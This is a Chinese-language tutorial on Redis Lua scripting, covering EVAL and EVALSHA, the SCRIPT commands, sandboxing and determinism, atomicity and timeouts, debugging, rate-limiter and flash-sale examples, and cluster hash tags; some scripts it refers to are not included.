首先定义一个hash函数集合类,这些hash函数不一定都用到,实际上32位hash值的用3个就可以了,具体的数量可以根据位序列总量和需要存入的量决定,上面已经给出最佳值。
redis脚本
Redis脚本使用Lua解释器来执行脚本,Redis2.6版本通过内嵌支持Lua环境,执行脚本的常用命令为EVAL
通过内嵌对Lua环境的支持,Redis解决了长久以来不能高效地处理CAS(check-and-set)命令的缺点,并且可以通过组合使用多个命令轻松实现以前很难实现或不能高效实现的模式
redis lua脚本是对其现有命令的扩充,单个命令不能完成、需要多个命令,但又要保证原子性的动作可以用脚本来实现。脚本中的逻辑一般比较简单,不要加入太复杂的东西,因为redis是单线程的,当脚本执行的时候其他命令、脚本需要等待直到当前脚本执行完成
redis脚本作用
1、减少网络开销: 使用脚本实现自定义incr同样的操作只需要发送一个请求即可,减少了网络往返时延。
2、原子操作: redis会将整个脚本作为一个整体执行,中间不会被其它命令插入。在编写脚本的过程中无需担心会出现竞态条件,也就无需使用事务。事务可以完成的所有功能都可以使用脚本来实现。
3、复用: 客户端发送的脚本会永久存储在redis中,这就意味着其它客户端(可以是其它语言开发的项目)可以复用这一脚本而不需要编写代码完成同样的逻辑。
从以上总结可以看出脚本功能特点类似于关系数据库中的存储过程。
【 在脚本中调用redis命令 】
在脚本中可以使用redis.call函数调用redis命令
redis.call('set', 'foo', 'bar')
local value = redis.call('get', 'foo')
redis.call函数的返回值就是redis命令的执行结果。redis命令的返回值有5种类型,redis.call函数会将这5种类型的返回值转换成Lua的数据类型,具体的对应规则如下,空结果比较特殊对应Lua的false
Redis返回值类型 Lua数据类型
整数 数字
字符串 字符串
多行字符串 表类型(数组形式)
状态 表类型(只有一个ok字段存储状态信息)
错误 表类型(只有一个err字段存储错误信息)
redis还提供了redis.pcall函数,功能与redis.call相同,唯一的区别是当命令执行出错时redis.pcall会记录错误性继续执行,而redis.call会直接返回错误,不会继续执行。
【 从脚本中返回值 】
在很多情况下都需要脚本返回值。在脚本中可以使用return语句将值返回给客户端,如果没有执行return语句则默认返回nil。因为可以像调用其它redis内置命令一样调用自己写的脚本,所以同样redis会自动将脚本返回值的Lua数据类型转换成redis的返回值类型
【 脚本相关命令 】
1、Eval命令执行Lua脚本
编写完脚本后最重要的就是在程序中执行脚本。redis提供了eval命令可以使开发者像调用其它redis内置命令一样调用脚本
基本语法:
redis 127.0.0.1:6379> EVAL script numkeys key [key ...] arg [arg ...]
script: 一段Lua脚本程序,脚本不必也不应该定义为一个Lua函数。
numberkeys:用于指定键名参数的个数。
key [key...]: 表示在脚本中所用到那些redis键key,这些键名参数可以在Lua中通过全局变量keys数组,用1位基址的形式访问(keys[1],keys[2])
arg [arg ...]: 附加参数,在Lua中通过全局变量ARGV数组访问,访问的形式和KEYS变量类似(ARGV[1]、ARGV[2])。
redis> eval "return redis.call('set', KEYS[1], ARGV[1])" 1 foo bar
OK
redis> get foo
"bar"
redis> EVAL "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second
1) "key1"
2) "key2"
3) "first"
4) "second"
2、evalsha命令
evalsha命令根据给定的sha1校验码,执行缓存在服务器中的脚本,将脚本缓存到服务器的操作可以通过SCRIPT LOAD命令进行。
相较于EVAL的每次发送脚本主体、浪费带宽,生产环境中推荐使用EVALSHA会更高效
考虑到在脚本比较长的情况下,如果每次调用脚本都需要将整个脚本传给redis会占用较多的带宽。为解决这个问题,redis通过了evalsha命令允许开发者通过脚本内容的sha1摘要来执行脚本。该命令的用法和eval一样,只不过是将脚本内容替换成脚本内容的sha1摘要。
redis在执行eval命令时会计算脚本的sha1摘要并记录在脚本缓存中,执行evalsha命令时redis会根据提供的摘要从脚本缓存中查找对应的脚本内容,如果找到则执行脚本,否则会返回错误: "NOSCRIPT No matching script. Please use EVAL."。在程序中使用evalsha命令的一般流程如下:
先计算脚本的sha1摘要,并使用evalsha命令执行脚本。
获得返回值,如果返回"NOSCRIPT"错误则使用eval命令重新执行脚本。
虽然这一流程略显麻烦,但值得庆幸的是很多编程语言的redis客户端都会代替开发者完成这一流程
evalsha命令基本语法: evalsha sha1 numkeys key [key...] arg[arg ...]
sha1:通过SCRIPT LOAD生成的sha1校验码。
key [key ...]: 从EVAL的第三个参数开始算起,表示在脚本中所用到那些redis键key,这些键名参数可以在Lua中通过全局变量keys数组,用1位基址的形式访问(keys[1],keys[2])
arg [arg ...]: 附加参数,在Lua中通过全局变量ARGV数组访问,访问的形式和KEYS变量类似(ARGV[1]、ARGV[2])。
127.0.0.1:6379> script load "return 'hello moto'"
"232fd51614574cf0867b83d384a5e898cfd24e5a"
127.0.0.1:6379> evalsha "232fd51614574cf0867b83d384a5e898cfd24e5a" 0
"hello moto"
3、Script Exists命令
Script Exists命令用于校验指定的脚本是否已经被保存在缓存当中,可以同时查找1个或多个脚本的sha1摘要是否被缓存
基本语法: evalsha sha1 numkeys key[key...] arg [arg...]
返回值: 一个列表,包含0和1,前者表示脚本不存在于缓存,后者表示脚本已经在缓存里面了。
列表中的元素和给定的SHA1校验和保持对应关系,比如列表的第三个元素的值就表示第三个SHA1校验和指定脚本在缓存中的状态
127.0.0.1:6379> script load "return 'hello moto'" #SHA1校验码
"232fd51614574cf0867b83d384a5e898cfd24e5a"
127.0.0.1:6379> script exists 232fd51614574cf0867b83d384a5e898cfd24e5a #查看校验码是否存在
1) (integer) 1 #1表示存在
127.0.0.1:6379> script flush #清空缓存
OK
127.0.0.1:6379> script exists 232fd51614574cf0867b83d384a5e898cfd24e5a #再次查看缓存,0表示不存在
1) (integer) 0
4、Script Flush命令
该命令用于清除所有LUA脚本缓存。
redis将脚本的sha1摘要加入到脚本缓存后会永久保留,不会删除,但可以手动使用SCRIPT FLUSH命令清空脚本缓存
基本语法: Script Flush
返回值: 总是返回OK
127.0.0.1:6379> script load "return 'hello moto'"
"232fd51614574cf0867b83d384a5e898cfd24e5a"
127.0.0.1:6379> script exists 232fd51614574cf0867b83d384a5e898cfd24e5a
1) (integer) 1
127.0.0.1:6379> script flush ###清除脚本缓存
OK
127.0.0.1:6379> script exists 232fd51614574cf0867b83d384a5e898cfd24e5a
1) (integer) 0
5、Script kill命令
用于杀死当前正在运行的Lua脚本,当且仅当这个脚本没有执行过任何操作时这个命令才生效。
这个命令主要用于终止运行时间过长的脚本,比如一个bug而发生无限循环的脚本。
script kill执行之后当前正在运行的脚本会被杀死,执行这个脚本的客户端会从eval命令的阻塞当中退出,并收到一个错误作为返回值。
杀死正在运行脚本的时候,如果脚本执行过写操作了,这里会杀死失败,因为这违反了redis lua脚本的原子性
基本命令: script kill
返回值: script kill
redis 127.0.0.1:6379> SCRIPT KILL 2 OK
6、Script load script命令
用于将脚本script添加到脚本缓存中,但并不执行这个脚本,以便下次客户端可以使用evalsha命令调用该脚本
eval命令也会将脚本添加到脚本缓存中,但它会立即对输入的脚本进行求值。
如果给定的脚本已经在缓存里面了,那么不执行任何操作。
在脚本被加入到缓存之后,通过evalsha命令可以使用脚本的sha1校验和来调用这个脚本。
脚本可以在缓存中保留无限长的时间直到执行script flush为止。
基本语法: script load script
返回值: 给定脚本的SHA1校验和。
127.0.0.1:6379> script load "return 1"
"e0e1f9fabfc9d4800c877a703b823ac0578ff8db"
redis 127.0.0.1:6379> script load "return 'hello moto'" # 载入一个脚本
"232fd51614574cf0867b83d384a5e898cfd24e5a"
7、SCRIPT DEBUG命令
lua脚本的调试功能和命令
设置调试模式,可设置同步、异步、关闭,同步会阻塞所有请求
调试尽量放在测试环境完成之后再发布到生产环境,在生产环境调试千万不要使用同步模式
因为无需考虑事务,使用redis脚本实现incr非常简单
将这段代码保存为incr.lua文件,然后执行下面的步骤进行测试。
(1)设置一个键值作为初始值。
[root@hdp4~]#redis-cli set foo 5
OK
(2)在终端1执行如下命令行,命令将处于等待状态。
redis-cli --eval incr.lua foo , 400000000
(3)5秒之内终端2执行同样的命令行
[root@hdp4~]#redis-cli --eval incr.lua foo , 400000000
(4)几秒后待两个终端都执行完成,验证两个终端的输出结果
第一个终端的输出为:
[root@hdp4~]#redis-cli --eval incr.lua foo , 400000000
(integer) 6
第二个终端的输出为:
[root@hdp4~]#redis-cli --eval incr.lua foo , 400000000
(integer) 7
最终的键值是7而不是6。lua本身没有提供sleep函数,而在redis中使用lua脚本时又不能使用全局变量(os、socket、posix等),所以合理的等待时间只能通过测试得到,400000000就是当前环境下测试的结果,约产生5秒的等待。如果该参数太小,难以模拟并发情况,若太大,使得第一个终端的执行时间超过5秒,则第二个终端会报错:
(error) BUSY Redis is busy running a script. You can only call SCRIPT KILL or SHUTDOWN NOSAVE.
这个错误是由参数lua-time-limit所控制:
127.0.0.1:6379> config get lua*
1) "lua-time-limit"
2) "5000"
命令行中的 --eval参数是告诉redis-cli读取并运行后面的Lua脚本,后面是脚本文件名,再后面跟着的是传给Lua脚本的参数。其中","前面的foo是要操作的键,可以在脚本中使用KEYS[1]获取,Lua语言区分大小写。","后面的400000000是其它参数,在脚本中能够使用ARGV[1]获得。命令行中","两边的空格不能省略,否则会出错
【 KEYS和ARGV 】
向脚本传递的参数分为 KEYS 和 ARGV 两类,前者表示要操作的键名,后者表示非键名参数。但事实上这一要求并不是强制的,比如 eval "return redis.call('get', KEYS[1])" 1 user:Bob 可以获得 user:Bob 的键值,同样也可以使用 eval "return redis.call('get', 'user:' .. ARGV[1])" 0 Bob 完成同样的功能。此时我们虽然并未按照redis的规则使用KEYS参数传递键名,但还是获得了正确的结果。
虽然规则不是强制的,但不遵守规则依然有一定的代价。redis 3.0及以后版本带有就集群(cluster)功能,集群的作用是将数据库中的键分散到不同的节点上。这意味着在脚本执行前就需要知道脚本会操作哪些键以便找到对应的节点,所以如果脚本中的键名没有使用 KEYS 参数传递则无法兼容集群。
有时候键名是根据脚本某部分的执行结果生成的,这时就无法在执行前将键名明确标出。比如一个集合类型键存储了用户ID列表,每个用户使用散列键存储,其中有一个字段是年龄。下面的脚本可以计算某个集合中用户的平均年龄:
local sum = 0
local users = redis.call('smembers', KEYS[1])
for _, user_id in ipairs(users) do
local user_age = redis.call('hget', 'user:' .. user_id, 'age')
sum = sum + user_age
end
return sum / #users
这个脚本同样无法兼容集群功能,因为第4行中访问了 KEYS 变量中没有的键,但却十分实用,避免了数据往返客户端和服务器端的开销。为了兼容集群,可以在客户端获取集合中的用户ID列表,然后将用户ID组装成键名列表传给脚本并计算平均年龄。两种方案都是可行的,至于实际采用哪种就需要开发者自行权衡了。
【 沙盒与随机数 】
redis脚本禁止使用Lua标准库中与文件或系统调用相关的函数,在脚本中只允许对redis的数据进行处理,并且redis还通过禁用脚本的全局变量的方式保证每个脚本都是相对隔离的,不会互相干扰(类似于ACID中的事务隔离性)。
使用沙盒不仅是为了保证服务器的安全性,而且还确保了脚本的执行结果只和脚本本身和执行时传递的参数有关,不依赖外界条件,如系统时间、系统中某个文件的内容、其它脚本的执行结果等。这是因为在执行复制和AOF持久化操作时记录的是脚本的内容而不是脚本调用的命令(有点类似于MySQL复制中的binlog_format=statement),所以必须保证在脚本内容和参数一样的前提下脚本的执行结果必须是一样的。此概念与关系数据库函数定义中的deterministic选项是一致。
除使用沙盒外,为了确保执行的结果可以重现,redis还对随机数和会产生随机结果的命令进行了特殊的处理。对于随机数而言,redis替换了math.random和math.randomseed函数,使得每次执行脚本时生成的随机数序列都相同,如果希望获得不同的随机数序列,最简单的方法是由程序生成随机数并通过参数传递给脚本。或者采用更灵活的方法,即在程序中生成随机数传给脚本作为随机数种子(通过math.randomseed(tonumber(ARGV[种子参数索引]))),这样在脚本中再调用math.random产生的随机数就不同了(由随机数种子决定)。
对于产生随机结果的命令如smembers(因为集合类型是无序的)或hkeys(因为散列类型的字段也是无序的)等,redis会对结果按照字典顺序排序。内部是通过调用Lua标准库的table.sort函数实现的,代码与下面这段很相似:
function __redis__compare_helper(a,b)
if a == false then a = '' end
if b == false then b = '' end
return a < b
end
table.sort(result_array, __redis__compare_helper)
对于会产生随机结果但无法排序的命令(比如会产生一个元素),redis会在这类命令执行后将该脚本状态标记为lua_random_dirty,此后只允许调用只读命令,不允许修改数据库的值,否则返回错误: "Write commands not allowed after non deterministic commands."。属于此类的redis命令有spop、srandmember、randomkey和time。
【 原子性和执行时间 】
redis的脚本执行是原子的,即脚本执行期间redis不会执行其它命令。所有的命令都必须等待脚本执行完成后才能执行,实际上就是脚本串行化了并行的redis命令。为了防止某个脚本执行时间过长导致redis无法提供服务比如陷入死循环,redis提供了lua_time_limit参数限制脚本的最长运行时间,默认为5秒钟。当脚本运行时间超过这一限制后,redis将开始接受其它命令但不会执行,以确保脚本的原子性,因为此时脚本并没有被终止,而是会返回"BUSY"错误。
打开两个redis-cli实例A和B来演示这一情况,首先在A中执行一个死循环脚本:
127.0.0.1:6379> eval "while true do end" 0
然后马上在B中执行一条命令:
127.0.0.1:6379> get foo
此时实例B中的命令并没有马上返回结果,因为redis已经被实例A发送的死循环脚本阻塞了,无法执行其它命令。等到5秒后实例B收到了"BUSY"错误:
(error) BUSY Redis is busy running a script. You can only call SCRIPT KILL or SHUTDOWN NOSAVE.
此时redis虽然可以接受任何命令,但实际能执行的只有两个命令: script kill 和 shutdown nosave。在实例B中执行 script kill 命令可以终止当前脚本的运行:
127.0.0.1:6379> script kill
OK
此时脚本被终止并且实例A中会返回错误:
127.0.0.1:6379> eval "while true do end" 0
(error) ERR Error running script (call to f_694a5fe1ddb97a4c6a1bf299d9537c7d3d0f84e7): @user_script:1: Script killed by user with SCRIPT KILL...
(33.60s)
如果当前执行的脚本对redis的数据进行了修改(如调用set、lpush或del等命令),则script kill命令不会终止脚本的运行以防止只执行了一部分。因为如果脚本只执行了一部分就被终止,会违背脚本的原子性要求。比如在实例A中执行:
eval "redis.call('set', 'foo', 'bar') while true do end" 0
5秒钟后在实例B中尝试终止该脚本:
127.0.0.1:6379> script kill
(error) UNKILLABLE Sorry the script already executed write commands against the dataset. You can either wait the script termination or kill the server in a hard way using the SHUTDOWN NOSAVE command.
此时只能通过shutdown nosave命令强制终止redis。shutdown nosave与shutdown命令的区别在于前者不会进行持久化操作,这意味着所有发生在上一次快照后的数据库修改都会丢失。
由于redis脚本非常高效,所以在大部分情况下都不用担心脚本的性能。但同时由于脚本的强大功能,很多原本在程序中执行的逻辑可以放到脚本中执行,这时就需要开发者根据具体应用权衡到底哪些任务适合交给脚本。通常来讲不应该在脚本中进行大量耗时的计算,因为毕竟redis是单进程单线程执行脚本,而程序能够多进程或多线程运行。
【 一个秒杀抢购示例 】
假设有一个秒杀活动,商品库存 100,每个用户 uid 只能抢购一次。设计抢购流程如下:
1、先通过uid判断是否已经抢过,已经抢过返回0结束。
2、判断商品剩余库存是否大于0,不是的话返回0结束。
3、将用户uid加入已购用户set中。
4、物品数量减一,返回成功1结束。
--开始的是单行注释
local用来声明局部变量,redis lua脚本中的所有变量都应该声明为local xxx,避免在持久化、复制的时候产生各种问题
KEYS和ARGV是两个全局变量,就像PHP中的$argc、$argv一样,脚本执行时传入的参数会写入这两个变量,可以在脚本中使用
redis.call用来执行redis现有命令,传参跟redis命令行执行时传入参数顺序一致
redis lua脚本中用到lua table的地方比较多,lua脚本中的table下标是从1开始的,比如KEYS、ARGV
不同类型变量比较的时候可能会出现提示,使用lua的tonumber将字符串转换为数字在进行比较即可。比如使用GET去获取一个值跟0比较大小就需要将获取出来的字符串转换为数字
在调试之前先看效果,将上面的代码保存到lua文件中/path/to/buy.lua,然后运行redis-cli --eval /path/to/buy.lua hadBuyUids goodsSurplus , 5824742984即可执行脚本,执行之后返回-1,因为未设置商品数量,set goodsSurplus 5之后再次执行
再次执行效果如下:
➜ ~ redis-cli set goodsSurplus 5
OK
➜ ~ redis-cli --eval /path/to/buy.lua hadBuyUids goodsSurplus , 5824742984
(integer) 1
➜ ~ redis-cli --eval /path/to/buy.lua hadBuyUids goodsSurplus , 5824742984
(integer) 0
➜ ~ redis-cli --eval /path/to/buy.lua hadBuyUids goodsSurplus , 5824742983
(integer) 1
➜ ~ redis-cli --eval /path/to/buy.lua hadBuyUids goodsSurplus , 5824742982
(integer) 1
➜ ~ redis-cli --eval /path/to/buy.lua hadBuyUids goodsSurplus , 5824742981
(integer) 1
➜ ~ redis-cli --eval /path/to/buy.lua hadBuyUids goodsSurplus , 5824742980
(integer) -1
➜ ~ redis-cli --eval /path/to/buy.lua hadBuyUids goodsSurplus , 58247
(integer) -1
命令行运行脚本的时候,脚本后面传入的是参数,通过,分隔为两组,前面是键,后面是值,这两组分别写入KEYS和ARGV。分隔符逗号前后都有空格,漏掉空格会让脚本解析传入参数异常
【 debug调试 】
redis从v3.2.0开始支持lua debugger,可以加断点、print变量信息、展示正在执行的代码
执行redis-cli --ldb --eval /path/to/buy.lua hadBuyUids goodsSurplus , 5824742984进入调试模式,比之前执行的时候多了参数--ldb表示开启lua dubegger,这个模式下redis会fork一个进程进入隔离环境,不会影响redis正常提供服务,但调试期间原始redis执行命令、脚本的结果也不会体现到fork之后的隔离环境之中。因此还有另外一种调试模式--ldb-sync-mode即同步模式,这个模式下会阻塞redis上所有的命令、脚本,直到脚本退出,完全模拟了正式环境使用时候的情况
调试命令
帮助信息
[h]elp
调试模式下输入h或help展示调试模式下的全部可用指令。
流程相关
[s]tep、[n]ext、[c]continue,continue从当前行开始执行代码直到结束或者碰到断点。
执行当前行代码,并停留在下一行,如下所示
* Stopped at 4, stop reason = step over
-> 4 local buyMembersKey = tostring(KEYS[1])
lua debugger> n
* Stopped at 5, stop reason = step over
-> 5 local memberUid = tonumber(ARGV[1])
lua debugger> n
* Stopped at 6, stop reason = step over
-> 6 local goodsSurplusKey = tostring(KEYS[2])
lua debugger> s
* Stopped at 7, stop reason = step over
-> 7 local hasBuy = redis.call("sIsMember", buyMembersKey, memberUid)
展示相关
[l]list 、 [l]list [line] 、 [l]list [line] [ctx] 、 [w]hole
展示当前行附近的代码,[line]是重新指定中心行,[ctx]是指定展示中心行周围几行代码。[w]hole是展示所有行代码
打印相关
[p]rint 、 [p]rint < var>
打印当前所有局部变量,< var>是打印指定变量,如下所示:
lua debugger> print
< value> goodsSurplus = nil
< value> flag = nil
< value> buyMembersKey = "hadBuyUids"
< value> memberUid = 58247
lua debugger> print buyMembersKey
< value> "hadBuyUids"
断点相关
[b]reak 、 [b]reak < line> 、 [b]reak -< line> 、 [b]reak 0
展示断点、像指定行添加断点、删除指定行的断点、删除所有断点
其他命令
[r]edis < cmd> 、 [m]axlen [len] 、 [a]bort 、 [e]eval < code> 、 [t]race
在调试其中执行redis命令
设置展示内容的最大长度,0表示不限制
退出调试模式,同步模式下(设置了参数--ldb-sync-mode)修改会保留。
执行一行lua代码。
展示执行栈。
详细说下[m]axlen [len]命令,如下代码:
local myTable = {}
local count = 0
while count < 1000 do
myTable[count] = count
count = count + 1
end
return 1
在最后一行打印断点,执行print可以看到,输出了一长串内容,执行maxlen 10之后,再次执行print可以看到打印的内容变少了,设置为maxlen 0之后,再次执行可以看到所有的内容全部展示了。
详细说下[t]race命令,代码如下:
local function func1(num)
num = num + 1
return num
end
local function func2(num)
num = func1(num)
num = num + 1
return num
end
func2(123)
执行b 2在 func1 中打断点,然后执行c,断点地方停顿,再次执行t,可以到如下信息:
lua debugger> t
In func1:
->#3 return num
From func2:
7 num = func1(num)
From top level:
12 func2(123)
【 实现一个请求限流器 】
将上面的lua脚本保存到/path/to/limit.lua,执行redis-cli --eval /path/to/limit.lua limit_vgroup 192.168.1.19 , 10 3,表示limit_vgroup这个业务,192.168.1.1这个ip每10秒钟限制访问三次。 至此一个请求限流功能就完成了,连续执行三次之后上面的程序会返回0,过10秒钟在执行又可以返回 1,这样便达到了限流的目的。 这个请求限流功能还有值得优化的地方,如果连续的两个计数周期,第一个周期的最后请求3次,接着马上到第二个周期了,又可以请求了 请求限流优化 上面的计数器法简单粗暴,但存在临界点的问题。为了解决这个问题,引入类似滑动窗口的概念,让统计次数的周期是连续的,可以很好的解决临界点的问题 建立一个redis list结构,其长度等价于访问次数,每次请求时判断list结构长度是否超过限制次数,未超过的话直接加到队首返回成功,否则判断队尾一条数据是否已经超过限制时间,未超过直接返回失败,超过删除队尾元素,将此次请求时间插入队首,返回成功。
上面的lua脚本保存到/path/to/limit_fun.lua,执行redis-cli --eval /path/to/limit_fun.lua limit_vgroup 192.168.1.19 , 10 3 1548660999即可。
最开始想着把时间戳计算redis.call("TIME")也放入redis lua脚本中,后来发现使用的时候redis会报错,这是因为redis默认情况复制lua脚本到备机和持久化中,如果脚本是一个非纯函数(pure function),备库中执行或宕机恢复的时候可能产生不一致的情况,这里可以类比mysql中基于SQL语句的复制模式。redis在 3.2版本中加入了redis.replicate_commands函数来解决这个问题,在脚本第一行执行这个函数,redis会将修改数据的命令收集起来,然后用MULTI/EXEC包裹起来,这种方式称为script effects replication,这个类似于mysql中的基于行的复制模式,将非纯函数的值计算出来,用来持久化和主从复制。这里将变动参数提到调用方这里,调用者传入时间戳来解决这个问题。
另外,redis从版本5开始,默认支持script effects replication,不需要在第一行调用开启函数了。如果是耗时计算,这样当然很好,同步、恢复的时候只需要计算一次后边就不用计算了,但如果是一个循环生成的数据,可能在同步的时候会浪费更多的带宽,没有脚本来的更直接,但这种情况应该比较少。
【 集群环境中lua处理 】
当前环境是单机环境,如果是分布式环境的话,脚本怎么执行、何处理
redis集群中会将键分配的不同的槽位上,然后分配到对应的机器上,当操作的键为一个的时候自然没问题,但如果操作的键为多个的时候,集群如何知道这个操作落到那个机器呢?比如简单的mget命令,mget test1 test2 test3,还有上面执行脚本时候传入多个参数。
首先用docker启动一个redis集群,docker pull grokzen/redis-cluster拉取这个镜像,然后执行docker run -p 7000:7000 -p 7001:7001 -p 7002:7002 -p 7003:7003 -p 7004:7004 -p 7005:7005 --name redis-cluster-script -e "IP=0.0.0.0" grokzen/redis-cluster启动这个容器,这个容器启动了一个redis集群,3主3从。
从任意一个节点进入集群,比如redis-cli -c -p 7003,进入后执行cluster nodes可以看到集群的信息,链接的是从库,执行set lua fun,从库也可以执行写,集群会计算出lua这个键属于哪个槽位,然后定向到对应的主库。
执行mset lua fascinating redis powerful,可以看到集群反回了错误信息,告诉本次请求的键没有落到同一个槽位上
(error) CROSSSLOT Keys in request don't hash to the same slot
同样,还是上面的lua脚本,加上集群端口号,执行redis-cli -p 7000 --eval /tmp/limit_fun.lua limit_vgroup 192.168.1.19 , 10 3 1548660999,一样返回上面的错误。
针对这个问题,redis提供了hash tag方法来解决,取键中的一段来计算hash,计算落入那个槽中,这样同一个功能不同的key就可以落入同一个槽位了,hash tag是通过{}这对括号括起来的字符串,比如上面的,改为mset lua{yes} fascinating redis{yes} powerful就可以执行成功了,这里mset这个操作落到了7002端口的机器。
同理,对传入脚本的键名做hash tag处理就可以了,这里要注意不仅传入键名要有相同的hash tag,里面实际操作的key也要有相同的hashtag,不然会报错Lua script attempted to access a non local key in a cluster node,什么意思呢,就拿上面的例子来说,执行的时候如下所示,可以看到,前面的两个键都加了hash tag —— yes,这样没问题,因为脚本里面只是用了一个拼接的key —— limit_vgroup{yes}_192.168.1.19{yes}。
redis-cli -c -p 7000 --eval /tmp/limit_fun.lua limit_vgroup{yes} 192.168.1.19{yes} , 10 3 1548660999
如果在脚本里面加上redis.call("GET", "yesyes")(别让这个键跟拼接的键落在一个solt),可以看到就报了上面的错误,所以在执行脚本的时候只要传入参数键、脚本里面执行redis命令时候的键有相同的hash tag即可。
另外这里有个hash tag规则:
键中包含{字符;建中包含{字符,并在{字符右边;并且{,}之间有至少一个字符,之间的字符就用来做键的hash tag。
所以键limit_vgroup{yes}_192.168.1.19{yes}的 hash tag 是 yes。foo{}{bar}键的 hash tag就是它本身。foo{{bar}}键的 hash tag 是 {bar。
【 初始化Lua环境 】
在初始化Redis服务器时对Lua环境的初始化也会一并进行。
为了让Lua环境符合Redis脚本功能的需求,Redis对Lua环境进行了一系列的修改,包括添加函数库、更换随机函数、保护全局变量等
整个初始化Lua环境的步骤如下:
1、调用lua_open函数创建一个新的Lua环境。
2、载入指定的Lua函数库,包括:
基础库(base lib)。
表格库(table lib)。
字符串库(string lib)。
数学库(math lib)。
调试库(debug lib)。
用于处理JSON对象的cjson库。
在Lua值和C结构(struct)之间进行转换的 struct库(http://www.inf.puc-rio.br/~roberto/struct/)。
处理MessagePack数据的cmsgpack库(https://github.com/antirez/lua-cmsgpack)。
3、屏蔽一些可能对Lua环境产生安全问题的函数,比如loadfile
4、创建一个redis字典,保存Lua脚本,并在复制(replication)脚本时使用。字典的键为SHA1校验和,字典的值为Lua脚本。
5、创建一个redis全局表格到Lua环境,表格中包含了各种对redis进行操作的函数,包括:
用于执行redis命令的redis.call和redis.pcall函数。
用于发送日志log的redis.log函数及相应的日志级别level: redis.LOG_DEBUG、redis.LOG_VERBOSE、redis.LOG_NOTICE、redis.LOG_WARNING
用于计算SHA1校验和的redis.sha1hex函数。
用于返回错误信息的redis.error_reply函数和redis.status_reply函数。
6、用redis自己定义的随机生成函数,替换math表原有的math.random函数和math.randomseed 函数,新的函数具有这样的性质: 每次执行Lua脚本时,除非显式地调用math.randomseed,否则math.random生成的伪随机数序列总是相同的。
7、创建一个对redis多批量回复(multi bulk reply)进行排序的辅助函数。
8、对Lua环境中的全局变量进行保护,以免被传入的脚本修改。
9、因为redis命令必须通过客户端来执行,所以需要在服务器状态中创建一个无网络连接的伪客户端(fake client),专门用于执行Lua脚本中包含的redis命令: 当Lua脚本需要执行redis命令时,它通过伪客户端来向服务器发送命令请求,服务器在执行完命令之后,将结果返回给伪客户端,而伪客户端又转而将命令结果返回给Lua脚本。
10、将Lua环境的指针记录到redis服务器的全局状态中,等候redis的调用。
以上就是redis初始化Lua环境的整个过程, 当这些步骤都执行完之后redis就可以使用Lua环境来处理脚本了。
严格来说步骤1-8才是初始化Lua环境的操作,而步骤9-10则是将Lua环境关联到服务器的操作,为了按顺序观察整个初始化过程将两种操作放在了一起。
步骤6用于创建无副作用的脚本, 而步骤7则用于去除部分redis命令中的不确定性(non deterministic)
【 脚本的安全性 】
当将Lua脚本复制到附属节点或将Lua脚本写入AOF文件时Redis需要解决这样一个问题: 如果一段Lua脚本带有随机性质或副作用,那么当这段脚本在附属节点运行时或从AOF文件载入重新运行时,它得到的结果可能和之前运行的结果完全不同。
考虑以下一段代码,其中的get_random_number()带有随机性质,在服务器SERVER中执行这段代码,并将随机数的结果保存到键number上:
redis> EVAL "return redis.call('set', KEYS[1], get_random_number())" 1 number
OK
redis> GET number
"10086"
现在假如EVAL的代码被复制到了附属节点SLAVE, 因为get_random_number()的随机性质,它有很大可能会生成一个和10086完全不同的值,比如65535
redis> EVAL "return redis.call('set', KEYS[1], get_random_number())" 1 number
OK
redis> GET number
"65535"
可以看到,带有随机性的写入脚本产生了一个严重的问题: 它破坏了服务器和附属节点数据之间的一致性。
当从AOF文件中载入带有随机性质的写入脚本时, 也会发生同样的问题。
只有在带有随机性的脚本进行写入时, 随机性才是有害的。
如果一个脚本只是执行只读操作, 那么随机性是无害的。
比如说如果脚本只是单纯地执行RANDOMKEY命令,那么它是无害的;但如果在执行RANDOMKEY之后基于RANDOMKEY的结果进行写入操作,那么这个脚本就是有害的。
和随机性质类似,如果一个脚本的执行对任何副作用产生了依赖,那么这个脚本每次执行所产生的结果都可能会不一样。
为了解决这个问题,redis对Lua环境所能执行的脚本做了一个严格的限制 —— 所有脚本都必须是无副作用的纯函数(pure function)。
为此Redis对Lua环境做了一些列相应的措施:
不提供访问系统状态状态的库(比如系统时间库)。
禁止使用loadfile函数。
如果脚本在执行带有随机性质的命令(如RANDOMKEY)或带有副作用的命令(如TIME)之后,试图执行一个写入命令(如SET),那么redis将阻止这个脚本继续运行并返回一个错误。
如果脚本执行了带有随机性质的读命令(如SMEMBERS),那么在脚本的输出返回给redis之前会先被执行一个自动的字典序排序,从而确保输出结果是有序的。
用redis自己定义的随机生成函数,替换Lua环境中math表原有的math.random函数和math.randomseed函数,新的函数具有这样的性质: 每次执行Lua脚本时,除非显式地调用math.randomseed,否则math.random生成的伪随机数序列总是相同的。
经过这一系列的调整之后redis可以保证被执行的脚本:
无副作用。
没有有害的随机性。
对于同样的输入参数和数据集,总是产生相同的写入命令。
【 脚本的执行 】
在脚本环境的初始化工作完成以后,redis就可以通过EVAL或EVALSHA命令执行Lua脚本了,EVALSHA是基于EVAL构建的
其中EVAL直接对输入的脚本代码体(body)进行求值:
redis> EVAL "return 'hello world'" 0
"hello world"
而EVALSHA则要求输入某个脚本的SHA1校验和,这个校验和所对应的脚本必须至少被EVAL执行过一次:
redis> EVAL "return 'hello world'" 0
"hello world"
redis> EVALSHA 5332031c6b470dc5a0dd9b4bf2030dea6d65de91 0 // 上一个脚本的校验和
"hello world"
或者曾经使用SCRIPT LOAD载入过这个脚本:
redis> SCRIPT LOAD "return 'dlrow olleh'"
"d569c48906b1f4fca0469ba4eee89149b5148092"
redis> EVALSHA d569c48906b1f4fca0469ba4eee89149b5148092 0
"dlrow olleh"
【 EVAL命令的实现 】
EVAL命令的执行可以分为以下步骤:
为输入脚本定义一个Lua函数。
执行这个Lua函数。
1、定义Lua函数
所有被redis执行的Lua脚本,在Lua环境中都会有一个和该脚本相对应的无参数函数: 当调用EVAL命令执行脚本时程序第一步要完成的工作就是为传入的脚本创建一个相应的Lua函数。
举个例子,当执行命令EVAL "return 'hello world'" 0时Lua会为脚本"return 'hello world'"创建以下函数:
function f_5332031c6b470dc5a0dd9b4bf2030dea6d65de91()
return 'hello world'
end
其中函数名以f_为前缀,后跟脚本的SHA1校验和(一个40个字符长的字符串)拼接而成。而函数体(body)则是用户输入的脚本。
以函数为单位保存Lua脚本有以下好处:
执行脚本的步骤非常简单,只要调用和脚本相对应的函数即可。
